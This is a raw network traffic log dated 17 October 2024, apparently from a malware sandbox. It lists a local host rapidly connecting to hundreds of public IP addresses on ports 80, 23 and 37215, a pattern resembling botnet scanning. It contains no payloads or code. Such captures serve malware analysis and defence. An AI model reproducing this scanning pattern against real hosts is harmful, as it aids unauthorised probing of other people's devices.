Oct 17, 2024 02:19:43.003957033 CEST	20646	80	192.168.2.14	184.209.122.3
Oct 17, 2024 02:19:43.003974915 CEST	20646	80	192.168.2.14	32.142.11.121
Oct 17, 2024 02:19:43.003976107 CEST	20646	80	192.168.2.14	203.195.211.146
Oct 17, 2024 02:19:43.003989935 CEST	20646	80	192.168.2.14	170.201.211.53
Oct 17, 2024 02:19:43.003992081 CEST	20646	80	192.168.2.14	201.94.174.65
Oct 17, 2024 02:19:43.003992081 CEST	20646	80	192.168.2.14	74.70.235.51
Oct 17, 2024 02:19:43.003995895 CEST	20646	80	192.168.2.14	58.135.175.128
Oct 17, 2024 02:19:43.003995895 CEST	20646	80	192.168.2.14	97.11.11.191
Oct 17, 2024 02:19:43.003995895 CEST	20646	80	192.168.2.14	34.212.6.237
Oct 17, 2024 02:19:43.003995895 CEST	20646	80	192.168.2.14	219.172.219.233
Oct 17, 2024 02:19:43.004004002 CEST	20646	80	192.168.2.14	99.200.148.165
Oct 17, 2024 02:19:43.004005909 CEST	20646	80	192.168.2.14	211.176.226.131
Oct 17, 2024 02:19:43.004009008 CEST	20646	80	192.168.2.14	1.70.213.128
Oct 17, 2024 02:19:43.004009008 CEST	20646	80	192.168.2.14	200.186.179.150
Oct 17, 2024 02:19:43.004009962 CEST	20646	80	192.168.2.14	90.82.185.187
Oct 17, 2024 02:19:43.004021883 CEST	20646	80	192.168.2.14	124.185.58.48
Oct 17, 2024 02:19:43.004021883 CEST	20646	80	192.168.2.14	175.103.53.79
Oct 17, 2024 02:19:43.004028082 CEST	20646	80	192.168.2.14	164.204.199.236
Oct 17, 2024 02:19:43.004028082 CEST	20646	80	192.168.2.14	99.157.180.148
Oct 17, 2024 02:19:43.004029989 CEST	20646	80	192.168.2.14	140.49.4.196
Oct 17, 2024 02:19:43.004038095 CEST	20646	80	192.168.2.14	142.215.19.78
Oct 17, 2024 02:19:43.004040003 CEST	20646	80	192.168.2.14	111.199.161.64
Oct 17, 2024 02:19:43.004053116 CEST	20646	80	192.168.2.14	37.48.186.183
Oct 17, 2024 02:19:43.004055977 CEST	20646	80	192.168.2.14	116.64.222.197
Oct 17, 2024 02:19:43.004055977 CEST	20646	80	192.168.2.14	52.216.203.42
Oct 17, 2024 02:19:43.004080057 CEST	20646	80	192.168.2.14	39.16.86.159
Oct 17, 2024 02:19:43.004082918 CEST	20646	80	192.168.2.14	114.126.54.126
Oct 17, 2024 02:19:43.004082918 CEST	20646	80	192.168.2.14	223.172.211.212
Oct 17, 2024 02:19:43.004085064 CEST	20646	80	192.168.2.14	115.75.182.249
Oct 17, 2024 02:19:43.004086971 CEST	20646	80	192.168.2.14	130.249.167.134
Oct 17, 2024 02:19:43.004091024 CEST	20646	80	192.168.2.14	96.243.171.248
Oct 17, 2024 02:19:43.004091978 CEST	20646	80	192.168.2.14	87.51.149.0
Oct 17, 2024 02:19:43.004091978 CEST	20646	80	192.168.2.14	156.153.150.86
Oct 17, 2024 02:19:43.004095078 CEST	20646	80	192.168.2.14	164.207.230.58
Oct 17, 2024 02:19:43.004095078 CEST	20646	80	192.168.2.14	46.230.240.247
Oct 17, 2024 02:19:43.004097939 CEST	20646	80	192.168.2.14	197.99.180.42
Oct 17, 2024 02:19:43.004097939 CEST	20646	80	192.168.2.14	5.37.135.245
Oct 17, 2024 02:19:43.004102945 CEST	20646	80	192.168.2.14	147.67.168.213
Oct 17, 2024 02:19:43.004225969 CEST	39766	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:43.004362106 CEST	39766	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:43.004620075 CEST	80	60416	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:43.004710913 CEST	60416	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.005134106 CEST	44430	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:43.006097078 CEST	40624	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:43.008336067 CEST	41198	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:43.008336067 CEST	41198	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:43.009371996 CEST	80	39766	174.24.2.27	192.168.2.14
Oct 17, 2024 02:19:43.009660006 CEST	23	58902	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:43.009763956 CEST	58902	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:43.009879112 CEST	51690	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:43.010742903 CEST	42048	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:43.012150049 CEST	59608	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:43.013032913 CEST	51290	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:43.013032913 CEST	51290	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:43.013220072 CEST	80	41198	96.128.202.170	192.168.2.14
Oct 17, 2024 02:19:43.013573885 CEST	51158	37215	192.168.2.14	41.241.0.143
Oct 17, 2024 02:19:43.014590025 CEST	23	58902	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:43.014662981 CEST	37215	51690	156.36.78.206	192.168.2.14
Oct 17, 2024 02:19:43.014730930 CEST	51690	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:43.015178919 CEST	52116	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:43.017041922 CEST	55720	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:43.017041922 CEST	55720	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:43.017446041 CEST	38312	37215	192.168.2.14	156.67.10.138
Oct 17, 2024 02:19:43.017909050 CEST	80	51290	27.147.76.225	192.168.2.14
Oct 17, 2024 02:19:43.018220901 CEST	56544	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:43.020112991 CEST	60586	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:43.020133972 CEST	60586	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:43.020499945 CEST	48420	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:43.021826029 CEST	80	55720	206.61.33.79	192.168.2.14
Oct 17, 2024 02:19:43.021827936 CEST	33176	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:43.023926973 CEST	36908	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:43.023926973 CEST	36908	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:43.024188042 CEST	38376	37215	192.168.2.14	41.154.136.120
Oct 17, 2024 02:19:43.025054932 CEST	80	60586	155.202.61.115	192.168.2.14
Oct 17, 2024 02:19:43.025122881 CEST	37716	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:43.026293039 CEST	37215	48420	41.108.18.107	192.168.2.14
Oct 17, 2024 02:19:43.026376963 CEST	48420	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:43.027014971 CEST	49670	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:43.027014971 CEST	49670	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:43.027405024 CEST	34518	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:43.028810024 CEST	80	36908	131.123.125.247	192.168.2.14
Oct 17, 2024 02:19:43.028992891 CEST	50464	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:43.031490088 CEST	53778	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:43.031490088 CEST	53778	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:43.031738043 CEST	36740	37215	192.168.2.14	197.18.200.152
Oct 17, 2024 02:19:43.031851053 CEST	80	49670	151.92.33.61	192.168.2.14
Oct 17, 2024 02:19:43.032181978 CEST	37215	34518	197.78.47.248	192.168.2.14
Oct 17, 2024 02:19:43.032288074 CEST	34518	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:43.032557964 CEST	54308	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:43.034343958 CEST	50640	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:43.034343958 CEST	50640	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:43.034642935 CEST	43582	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:43.035862923 CEST	51166	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:43.036336899 CEST	80	53778	199.4.155.168	192.168.2.14
Oct 17, 2024 02:19:43.037888050 CEST	55348	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:43.037888050 CEST	55348	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:43.038356066 CEST	41062	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:43.039083958 CEST	55876	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:43.039140940 CEST	80	50640	89.205.249.27	192.168.2.14
Oct 17, 2024 02:19:43.041042089 CEST	58536	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:43.041042089 CEST	58536	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:43.041313887 CEST	51458	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:43.042749882 CEST	80	55348	196.201.9.128	192.168.2.14
Oct 17, 2024 02:19:43.042771101 CEST	58986	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:43.044634104 CEST	47256	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:43.044668913 CEST	47256	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:43.044962883 CEST	37624	37215	192.168.2.14	197.157.68.16
Oct 17, 2024 02:19:43.045826912 CEST	47686	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:43.045871019 CEST	80	58536	65.149.139.140	192.168.2.14
Oct 17, 2024 02:19:43.046217918 CEST	37215	51458	41.140.60.225	192.168.2.14
Oct 17, 2024 02:19:43.046263933 CEST	51458	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:43.047741890 CEST	51788	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:43.047741890 CEST	51788	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:43.048196077 CEST	51250	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.049494982 CEST	80	47256	8.195.166.159	192.168.2.14
Oct 17, 2024 02:19:43.050285101 CEST	52188	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:43.051084042 CEST	80	39766	174.24.2.27	192.168.2.14
Oct 17, 2024 02:19:43.052414894 CEST	57006	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:43.052414894 CEST	57006	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:43.052611113 CEST	80	51788	94.8.190.200	192.168.2.14
Oct 17, 2024 02:19:43.052917004 CEST	32848	37215	192.168.2.14	41.105.31.70
Oct 17, 2024 02:19:43.053153992 CEST	37215	51250	41.33.227.235	192.168.2.14
Oct 17, 2024 02:19:43.053208113 CEST	51250	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.053663969 CEST	57386	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:43.055140018 CEST	80	41198	96.128.202.170	192.168.2.14
Oct 17, 2024 02:19:43.055910110 CEST	42770	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:43.055910110 CEST	42770	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:43.056237936 CEST	33000	37215	192.168.2.14	41.25.39.86
Oct 17, 2024 02:19:43.057245970 CEST	80	57006	107.222.113.58	192.168.2.14
Oct 17, 2024 02:19:43.057832956 CEST	43138	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:43.060168028 CEST	39670	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:43.060168028 CEST	39670	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:43.060492992 CEST	50110	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:43.061217070 CEST	40030	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:43.062841892 CEST	80	42770	36.46.127.250	192.168.2.14
Oct 17, 2024 02:19:43.063221931 CEST	80	51290	27.147.76.225	192.168.2.14
Oct 17, 2024 02:19:43.063534975 CEST	40230	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:43.063534975 CEST	40230	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:43.064136982 CEST	42138	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:43.065248966 CEST	80	55720	206.61.33.79	192.168.2.14
Oct 17, 2024 02:19:43.065270901 CEST	80	39670	119.43.17.98	192.168.2.14
Oct 17, 2024 02:19:43.065776110 CEST	37215	50110	197.167.89.226	192.168.2.14
Oct 17, 2024 02:19:43.065850019 CEST	50110	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:43.066255093 CEST	40554	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:43.068603039 CEST	80	40230	57.222.88.137	192.168.2.14
Oct 17, 2024 02:19:43.069302082 CEST	33948	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:43.069302082 CEST	33948	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:43.069695950 CEST	42090	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.070765972 CEST	34242	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:43.071124077 CEST	80	60586	155.202.61.115	192.168.2.14
Oct 17, 2024 02:19:43.071147919 CEST	80	36908	131.123.125.247	192.168.2.14
Oct 17, 2024 02:19:43.072967052 CEST	56104	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:43.072999954 CEST	56104	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:43.073527098 CEST	56334	37215	192.168.2.14	197.125.71.22
Oct 17, 2024 02:19:43.074136972 CEST	80	33948	35.45.188.242	192.168.2.14
Oct 17, 2024 02:19:43.074467897 CEST	37215	42090	41.59.142.173	192.168.2.14
Oct 17, 2024 02:19:43.074528933 CEST	42090	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.074966908 CEST	56336	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:43.075803995 CEST	34194	23	192.168.2.14	69.224.179.9
Oct 17, 2024 02:19:43.075807095 CEST	56260	23	192.168.2.14	200.71.163.110
Oct 17, 2024 02:19:43.076953888 CEST	48658	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:43.076955080 CEST	48658	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:43.077321053 CEST	48598	37215	192.168.2.14	197.243.195.90
Oct 17, 2024 02:19:43.077905893 CEST	80	56104	66.119.106.113	192.168.2.14
Oct 17, 2024 02:19:43.078313112 CEST	48882	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:43.079128027 CEST	80	49670	151.92.33.61	192.168.2.14
Oct 17, 2024 02:19:43.079144001 CEST	80	53778	199.4.155.168	192.168.2.14
Oct 17, 2024 02:19:43.080414057 CEST	37346	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:43.080414057 CEST	37346	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:43.081370115 CEST	46164	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:43.081808090 CEST	80	48658	34.50.168.128	192.168.2.14
Oct 17, 2024 02:19:43.083137035 CEST	80	55348	196.201.9.128	192.168.2.14
Oct 17, 2024 02:19:43.083152056 CEST	80	50640	89.205.249.27	192.168.2.14
Oct 17, 2024 02:19:43.083764076 CEST	37538	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:43.085275888 CEST	80	37346	74.67.187.229	192.168.2.14
Oct 17, 2024 02:19:43.086226940 CEST	37215	46164	156.136.27.184	192.168.2.14
Oct 17, 2024 02:19:43.086291075 CEST	46164	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:43.086515903 CEST	60416	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.086515903 CEST	60416	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.086793900 CEST	55306	37215	192.168.2.14	197.201.29.125
Oct 17, 2024 02:19:43.087104082 CEST	80	58536	65.149.139.140	192.168.2.14
Oct 17, 2024 02:19:43.088088989 CEST	60506	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.091250896 CEST	80	47256	8.195.166.159	192.168.2.14
Oct 17, 2024 02:19:43.091336966 CEST	80	60416	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:43.091459036 CEST	59662	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:43.093138933 CEST	80	60506	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:43.093276978 CEST	60506	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.093276978 CEST	60506	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.093730927 CEST	48352	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:43.095144987 CEST	80	51788	94.8.190.200	192.168.2.14
Oct 17, 2024 02:19:43.095968962 CEST	35824	37215	192.168.2.14	156.45.20.38
Oct 17, 2024 02:19:43.098504066 CEST	47872	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:43.098567009 CEST	80	60506	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:43.098705053 CEST	60506	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:43.099167109 CEST	80	57006	107.222.113.58	192.168.2.14
Oct 17, 2024 02:19:43.100116014 CEST	60010	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:43.102125883 CEST	53478	37215	192.168.2.14	41.98.57.45
Oct 17, 2024 02:19:43.103290081 CEST	80	42770	36.46.127.250	192.168.2.14
Oct 17, 2024 02:19:43.104188919 CEST	36384	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:43.104918957 CEST	37215	60010	156.196.4.63	192.168.2.14
Oct 17, 2024 02:19:43.104969025 CEST	60010	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:43.106336117 CEST	34584	37215	192.168.2.14	197.238.119.64
Oct 17, 2024 02:19:43.107196093 CEST	80	39670	119.43.17.98	192.168.2.14
Oct 17, 2024 02:19:43.107795954 CEST	34644	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:43.107798100 CEST	39894	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:43.108167887 CEST	40036	37215	192.168.2.14	197.152.138.101
Oct 17, 2024 02:19:43.110208988 CEST	56146	37215	192.168.2.14	41.187.77.180
Oct 17, 2024 02:19:43.111442089 CEST	80	40230	57.222.88.137	192.168.2.14
Oct 17, 2024 02:19:43.111927032 CEST	34610	37215	192.168.2.14	41.208.96.182
Oct 17, 2024 02:19:43.112708092 CEST	80	34644	176.113.27.165	192.168.2.14
Oct 17, 2024 02:19:43.113003969 CEST	34644	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:43.113003969 CEST	34644	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:43.113060951 CEST	34644	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:43.114788055 CEST	35606	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:43.115180016 CEST	80	33948	35.45.188.242	192.168.2.14
Oct 17, 2024 02:19:43.115366936 CEST	45592	37215	192.168.2.14	197.46.80.116
Oct 17, 2024 02:19:43.117872953 CEST	80	34644	176.113.27.165	192.168.2.14
Oct 17, 2024 02:19:43.117954016 CEST	60332	37215	192.168.2.14	41.167.39.254
Oct 17, 2024 02:19:43.120563984 CEST	57582	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:43.122638941 CEST	45316	37215	192.168.2.14	41.104.152.11
Oct 17, 2024 02:19:43.123168945 CEST	80	56104	66.119.106.113	192.168.2.14
Oct 17, 2024 02:19:43.123208046 CEST	80	48658	34.50.168.128	192.168.2.14
Oct 17, 2024 02:19:43.125531912 CEST	46866	37215	192.168.2.14	41.167.85.71
Oct 17, 2024 02:19:43.125597000 CEST	37215	57582	197.111.212.103	192.168.2.14
Oct 17, 2024 02:19:43.125654936 CEST	57582	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:43.127110958 CEST	80	37346	74.67.187.229	192.168.2.14
Oct 17, 2024 02:19:43.135288954 CEST	80	60416	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:43.139806032 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.139807940 CEST	34536	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:43.139817953 CEST	46712	37215	192.168.2.14	197.16.66.225
Oct 17, 2024 02:19:43.139820099 CEST	47110	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:43.143785000 CEST	49324	23	192.168.2.14	156.185.168.182
Oct 17, 2024 02:19:43.145251036 CEST	37215	53766	156.245.159.165	192.168.2.14
Oct 17, 2024 02:19:43.145265102 CEST	80	34536	104.67.111.220	192.168.2.14
Oct 17, 2024 02:19:43.145308971 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.145318985 CEST	34536	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:43.145450115 CEST	20646	80	192.168.2.14	220.178.197.170
Oct 17, 2024 02:19:43.145472050 CEST	20646	80	192.168.2.14	75.170.252.207
Oct 17, 2024 02:19:43.145483017 CEST	20646	80	192.168.2.14	57.36.25.200
Oct 17, 2024 02:19:43.145483017 CEST	20646	80	192.168.2.14	144.80.239.196
Oct 17, 2024 02:19:43.145502090 CEST	20646	80	192.168.2.14	117.250.143.253
Oct 17, 2024 02:19:43.145525932 CEST	20646	80	192.168.2.14	54.120.163.111
Oct 17, 2024 02:19:43.145550013 CEST	20646	80	192.168.2.14	189.122.211.74
Oct 17, 2024 02:19:43.145550013 CEST	20646	80	192.168.2.14	134.26.26.50
Oct 17, 2024 02:19:43.145554066 CEST	20646	80	192.168.2.14	198.205.252.124
Oct 17, 2024 02:19:43.145555973 CEST	20646	80	192.168.2.14	149.107.106.147
Oct 17, 2024 02:19:43.145555973 CEST	20646	80	192.168.2.14	31.252.144.99
Oct 17, 2024 02:19:43.145559072 CEST	20646	80	192.168.2.14	120.93.83.78
Oct 17, 2024 02:19:43.145576954 CEST	20646	80	192.168.2.14	189.60.89.36
Oct 17, 2024 02:19:43.145577908 CEST	20646	80	192.168.2.14	196.171.126.108
Oct 17, 2024 02:19:43.145596981 CEST	20646	80	192.168.2.14	137.202.44.51
Oct 17, 2024 02:19:43.145611048 CEST	20646	80	192.168.2.14	17.116.153.112
Oct 17, 2024 02:19:43.145627975 CEST	20646	80	192.168.2.14	17.178.180.121
Oct 17, 2024 02:19:43.145632982 CEST	20646	80	192.168.2.14	17.50.181.142
Oct 17, 2024 02:19:43.145632982 CEST	20646	80	192.168.2.14	31.94.47.74
Oct 17, 2024 02:19:43.145633936 CEST	20646	80	192.168.2.14	102.225.221.237
Oct 17, 2024 02:19:43.145648003 CEST	20646	80	192.168.2.14	111.5.31.64
Oct 17, 2024 02:19:43.145653009 CEST	20646	80	192.168.2.14	68.93.34.23
Oct 17, 2024 02:19:43.145659924 CEST	20646	80	192.168.2.14	198.105.171.11
Oct 17, 2024 02:19:43.145659924 CEST	20646	80	192.168.2.14	40.113.209.111
Oct 17, 2024 02:19:43.145661116 CEST	20646	80	192.168.2.14	68.101.96.181
Oct 17, 2024 02:19:43.145662069 CEST	20646	80	192.168.2.14	171.89.66.30
Oct 17, 2024 02:19:43.145668030 CEST	20646	80	192.168.2.14	87.240.8.172
Oct 17, 2024 02:19:43.145668030 CEST	20646	80	192.168.2.14	87.111.13.216
Oct 17, 2024 02:19:43.145668983 CEST	20646	80	192.168.2.14	18.87.57.36
Oct 17, 2024 02:19:43.145695925 CEST	20646	80	192.168.2.14	192.192.165.107
Oct 17, 2024 02:19:43.145699024 CEST	20646	80	192.168.2.14	68.68.239.123
Oct 17, 2024 02:19:43.145699024 CEST	20646	80	192.168.2.14	163.23.114.27
Oct 17, 2024 02:19:43.145701885 CEST	20646	80	192.168.2.14	124.68.167.186
Oct 17, 2024 02:19:43.145701885 CEST	20646	80	192.168.2.14	185.52.5.109
Oct 17, 2024 02:19:43.145710945 CEST	20646	80	192.168.2.14	27.170.176.168
Oct 17, 2024 02:19:43.145721912 CEST	20646	80	192.168.2.14	43.164.254.9
Oct 17, 2024 02:19:43.145733118 CEST	20646	80	192.168.2.14	191.70.34.199
Oct 17, 2024 02:19:43.145734072 CEST	20646	80	192.168.2.14	161.11.115.134
Oct 17, 2024 02:19:43.145757914 CEST	20646	80	192.168.2.14	13.171.120.134
Oct 17, 2024 02:19:43.145760059 CEST	20646	80	192.168.2.14	97.89.84.216
Oct 17, 2024 02:19:43.145760059 CEST	20646	80	192.168.2.14	77.57.73.33
Oct 17, 2024 02:19:43.145770073 CEST	20646	80	192.168.2.14	106.57.98.55
Oct 17, 2024 02:19:43.145770073 CEST	20646	80	192.168.2.14	161.78.218.33
Oct 17, 2024 02:19:43.145781994 CEST	20646	80	192.168.2.14	135.107.65.117
Oct 17, 2024 02:19:43.145792007 CEST	20646	80	192.168.2.14	193.107.222.5
Oct 17, 2024 02:19:43.145792961 CEST	20646	80	192.168.2.14	95.177.82.99
Oct 17, 2024 02:19:43.145800114 CEST	20646	80	192.168.2.14	161.136.193.27
Oct 17, 2024 02:19:43.145800114 CEST	20646	80	192.168.2.14	151.126.145.45
Oct 17, 2024 02:19:43.145800114 CEST	20646	80	192.168.2.14	222.81.24.15
Oct 17, 2024 02:19:43.145818949 CEST	20646	80	192.168.2.14	193.30.233.164
Oct 17, 2024 02:19:43.145818949 CEST	20646	80	192.168.2.14	210.245.199.208
Oct 17, 2024 02:19:43.145822048 CEST	20646	80	192.168.2.14	35.157.27.106
Oct 17, 2024 02:19:43.145837069 CEST	20646	80	192.168.2.14	180.69.211.215
Oct 17, 2024 02:19:43.145853996 CEST	20646	80	192.168.2.14	140.69.209.136
Oct 17, 2024 02:19:43.145853996 CEST	20646	80	192.168.2.14	155.174.42.241
Oct 17, 2024 02:19:43.145855904 CEST	20646	80	192.168.2.14	194.196.239.223
Oct 17, 2024 02:19:43.145855904 CEST	20646	80	192.168.2.14	150.156.17.206
Oct 17, 2024 02:19:43.145858049 CEST	20646	80	192.168.2.14	140.109.12.107
Oct 17, 2024 02:19:43.145880938 CEST	20646	80	192.168.2.14	165.190.207.31
Oct 17, 2024 02:19:43.145881891 CEST	20646	80	192.168.2.14	95.122.185.103
Oct 17, 2024 02:19:43.145883083 CEST	20646	80	192.168.2.14	36.192.133.235
Oct 17, 2024 02:19:43.145888090 CEST	20646	80	192.168.2.14	19.80.225.249
Oct 17, 2024 02:19:43.145888090 CEST	20646	80	192.168.2.14	136.221.231.55
Oct 17, 2024 02:19:43.145896912 CEST	20646	80	192.168.2.14	193.234.226.144
Oct 17, 2024 02:19:43.145898104 CEST	20646	80	192.168.2.14	84.62.150.176
Oct 17, 2024 02:19:43.145899057 CEST	20646	80	192.168.2.14	101.204.82.42
Oct 17, 2024 02:19:43.145899057 CEST	20646	80	192.168.2.14	142.107.72.106
Oct 17, 2024 02:19:43.145899057 CEST	20646	80	192.168.2.14	176.54.125.55
Oct 17, 2024 02:19:43.145920992 CEST	20646	80	192.168.2.14	81.203.161.127
Oct 17, 2024 02:19:43.145925999 CEST	20646	80	192.168.2.14	217.19.35.225
Oct 17, 2024 02:19:43.145925999 CEST	20646	80	192.168.2.14	102.204.15.173
Oct 17, 2024 02:19:43.145925999 CEST	20646	80	192.168.2.14	164.17.89.18
Oct 17, 2024 02:19:43.145941019 CEST	20646	80	192.168.2.14	136.112.113.200
Oct 17, 2024 02:19:43.145941973 CEST	20646	80	192.168.2.14	43.20.115.195
Oct 17, 2024 02:19:43.145941019 CEST	20646	80	192.168.2.14	45.44.164.231
Oct 17, 2024 02:19:43.145963907 CEST	20646	80	192.168.2.14	38.63.47.155
Oct 17, 2024 02:19:43.145965099 CEST	20646	80	192.168.2.14	159.228.193.110
Oct 17, 2024 02:19:43.145963907 CEST	20646	80	192.168.2.14	52.148.85.65
Oct 17, 2024 02:19:43.145968914 CEST	20646	80	192.168.2.14	153.185.207.253
Oct 17, 2024 02:19:43.145979881 CEST	20646	80	192.168.2.14	81.147.195.195
Oct 17, 2024 02:19:43.145986080 CEST	20646	80	192.168.2.14	206.2.88.212
Oct 17, 2024 02:19:43.145987034 CEST	20646	80	192.168.2.14	170.213.154.168
Oct 17, 2024 02:19:43.145994902 CEST	20646	80	192.168.2.14	12.145.79.222
Oct 17, 2024 02:19:43.145998001 CEST	20646	80	192.168.2.14	51.214.18.27
Oct 17, 2024 02:19:43.146008968 CEST	20646	80	192.168.2.14	135.100.179.155
Oct 17, 2024 02:19:43.146008968 CEST	20646	80	192.168.2.14	50.134.150.103
Oct 17, 2024 02:19:43.146033049 CEST	20646	80	192.168.2.14	162.251.88.59
Oct 17, 2024 02:19:43.146034002 CEST	20646	80	192.168.2.14	204.250.157.255
Oct 17, 2024 02:19:43.146038055 CEST	20646	80	192.168.2.14	213.188.31.3
Oct 17, 2024 02:19:43.146038055 CEST	20646	80	192.168.2.14	18.124.73.232
Oct 17, 2024 02:19:43.146056890 CEST	20646	80	192.168.2.14	201.100.65.51
Oct 17, 2024 02:19:43.146056890 CEST	20646	80	192.168.2.14	68.149.243.239
Oct 17, 2024 02:19:43.146059990 CEST	20646	80	192.168.2.14	52.144.226.124
Oct 17, 2024 02:19:43.146075964 CEST	20646	80	192.168.2.14	193.212.178.16
Oct 17, 2024 02:19:43.146085978 CEST	20646	80	192.168.2.14	72.44.219.148
